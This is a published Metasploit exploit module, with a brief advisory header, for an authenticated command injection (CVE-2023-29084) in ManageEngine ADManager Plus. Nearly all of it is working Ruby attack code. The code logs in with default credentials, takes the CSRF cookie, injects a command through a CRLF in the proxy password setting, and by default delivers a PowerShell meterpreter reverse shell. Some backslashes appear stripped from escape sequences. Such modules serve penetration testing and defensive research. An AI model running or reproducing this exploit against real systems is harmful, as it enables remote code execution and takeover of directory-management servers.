Authored by Grant Willcox, Simon Humbert, Dinh Hoang | Site metasploit.com

ManageEngine ADManager Plus versions prior to build 7181 are vulnerable to an authenticated command injection vulnerability due to insufficient validation of user input when performing the ChangePasswordAction function before passing it into a string that is later used as an OS command to execute.

advisories | CVE-2023-29084

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
require 'json'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection',
'Description' => %q{
ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient
validation of user input when performing the ChangePasswordAction function before passing it into a string that is later
used as an OS command to execute.

By making a POST request to /api/json/admin/saveServerSettings with a params POST
parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a
carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user
running ADManager Plus, which will typically be the local administrator.

Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,
so this vulnerability does require authentication to exploit.

As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads
with this exploit, since these will use HTTP connections that will be affected by the change in configuration.
},
'Author' => [
'Simon Humbert', # Disclosure of bug via ZDI
'Dinh Hoang', # Aka hnd3884. Writeup and PoC
'Grant Willcox', # Metasploit module
],
'References' => [
['CVE', '2023-29084'],
['URL', 'https://hnd3884.github.io/posts/CVE-2023-29084-Command-injection-in-ManageEngine-ADManager-plus/'], # Writeup
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-438/'], # ZDI Advisory
['URL', 'https://www.manageengine.com/products/ad-manager/admanager-kb/cve-2023-29084.html'], # Advisory
['URL', 'https://www.manageengine.com/products/ad-manager/release-notes.html'] # Release Notes and Reporter Acknowledgement
],
'DisclosureDate' => '2023-04-12',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Payload' => {
'BadChars' => "x22x0Ax0Dx00[{}]:," # Avoid double quotes, aka 0x22, and some other characters that might cause issues.
},
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse bind none' } }
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8080
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server.
}
)
)

register_options(
[
OptString.new('USERNAME', [true, 'The user to log into ADManager Plus as', 'admin']),
OptString.new('PASSWORD', [true, 'The password to log in with', 'admin']),
OptString.new('DOMAIN', [true, 'The domain to log into', 'ADManager Plus Authentication'])
]
)
end

def login(username, password, domain)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'j_security_check'),
'method' => 'POST',
'vars_get' => {
'LogoutFromSSO' => 'true'
},
'vars_post' => {
'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request.
'j_username' => username,
'j_password' => password,
'domainName' => domain,
'AUTHRULE_NAME' => 'ADAuthenticator'
},
'keep_cookies' => true
)

unless res && (res.code == 302 || res.code == 303)
fail_with(Failure::NoAccess, 'Could not log in successfully!')
end

print_good('Logged in successfully!')
end

def check
res = send_request_cgi(
'uri' => target_uri.path,
'method' => 'GET'
)

unless res && res.code == 200 && res.body
return CheckCode::Unknown('Browsing to root of website returned a non-200 or empty response!')
end

unless res.body&.match(/.val('ADManager Plus Authentication')/)
return CheckCode::Safe('Target is not running ADManager Plus!')
end

build_number = res.body&.match(/src=".+.js?v=(d{4})"/)
unless build_number
return CheckCode::Unknown('Home page did not leak the build number via the ?v= parameter as expected!')
end

build_number = build_number[1]
print_good("The target is running AdManager Plus build #{build_number}!")

# Versions 7181 and later are patched, everything prior is vulnerable.
target_build = Rex::Version.new(build_number)
if target_build >= Rex::Version.new('7181')
CheckCode::Safe('Target is running a patched version of AdManager Plus!')
elsif target_build < Rex::Version.new('7181')
CheckCode::Appears('Target appears to be running a vulnerable version of AdManager Plus!')
else
CheckCode::Unknown("An unknown error occurred when trying to parse the build number: #{build_number}. Please report this error!")
end
end

def exploit
res = send_request_cgi(
'uri' => target_uri.path,
'method' => 'GET',
'keep_cookies' => true
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!')
end

login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DOMAIN'])

# We need to do this post login otherwise we will get errors. This also ensures we get updated
# cookies post login as these can sometimes change post login process.
res = send_request_cgi(
'uri' => target_uri.path,
'method' => 'GET',
'keep_cookies' => true
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code post authentication!')
end

# Check that we actually got our cookies updated post authentication and visiting the homepage.
unless res&.get_cookies&.match(/adscsrf=.*?;.*?;.*?_zcsr_tmp=.*?;/)
fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected updated cookies after logging in and visiting the home page.')
end

@csrf_cookie = nil
for cookie in @cookie_jar&.cookies
if cookie.name == 'adscsrf'
@csrf_cookie = cookie.value
break
end
end

fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank?

retrieve_original_settings

begin
modify_proxy(create_params_value_enable(payload.encoded))
ensure
modify_proxy(create_params_value_restore)
end
end

def retrieve_original_settings
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'),
'method' => 'POST',
'vars_post' => {
'adscsrf' => @csrf_cookie
},
'keep_cookies' => true
}
)

unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/)
fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!')
end

json_body = JSON.parse(res.body)
server_details = json_body['serverDetails']
unless server_details
fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!')
end

server_details.each do |elm|
next unless elm['tabId'] == 'proxy'

@original_port = elm['PORT']
@original_password = elm['PASSWORD']
@proxy_enabled = elm['ENABLE_PROXY']
@original_server_name = elm['SERVER_NAME']
@original_user_name = elm['USER_NAME']
break
end
end

def modify_proxy(params)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'),
'method' => 'POST',
'vars_post' => {
'adscsrf' => @csrf_cookie,
'params' => params
},
'keep_cookies' => true
}
)

if res && res.code == 200
if res.body&.match(/{"isAuthorized":false}/)
fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!')
elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/)
print_warning("Settings successfully changed confirmation received before timeout occurred. Its possible the payload didn't execute!")
elsif res.body&.match(/"status":"error"/)
print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}")
else
fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!')
end
elsif res.nil?
print_good('Request timed out. Its likely the payload executed successfully!')
else
fail_with(Failure::UnexpectedReply, "Target responded with a non-200 OK code to our saveServerSettings request! Code was #{res.code}")
end
end

def create_params_value_enable(cmd)
[
{
tabId: 'proxy',
ENABLE_PROXY: true,
SERVER_NAME: 'localhost', # In my experience this worked most reliably.
USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s,
PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}rn#{cmd}",
PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably.
}
].to_json
end

def create_params_value_restore
[
{
tabId: 'proxy',
ENABLE_PROXY: @proxy_enabled,
SERVER_NAME: @original_server_name,
USER_NAME: @original_user_name,
PASSWORD: @original_password,
PORT: @original_port
}
].to_json
end
end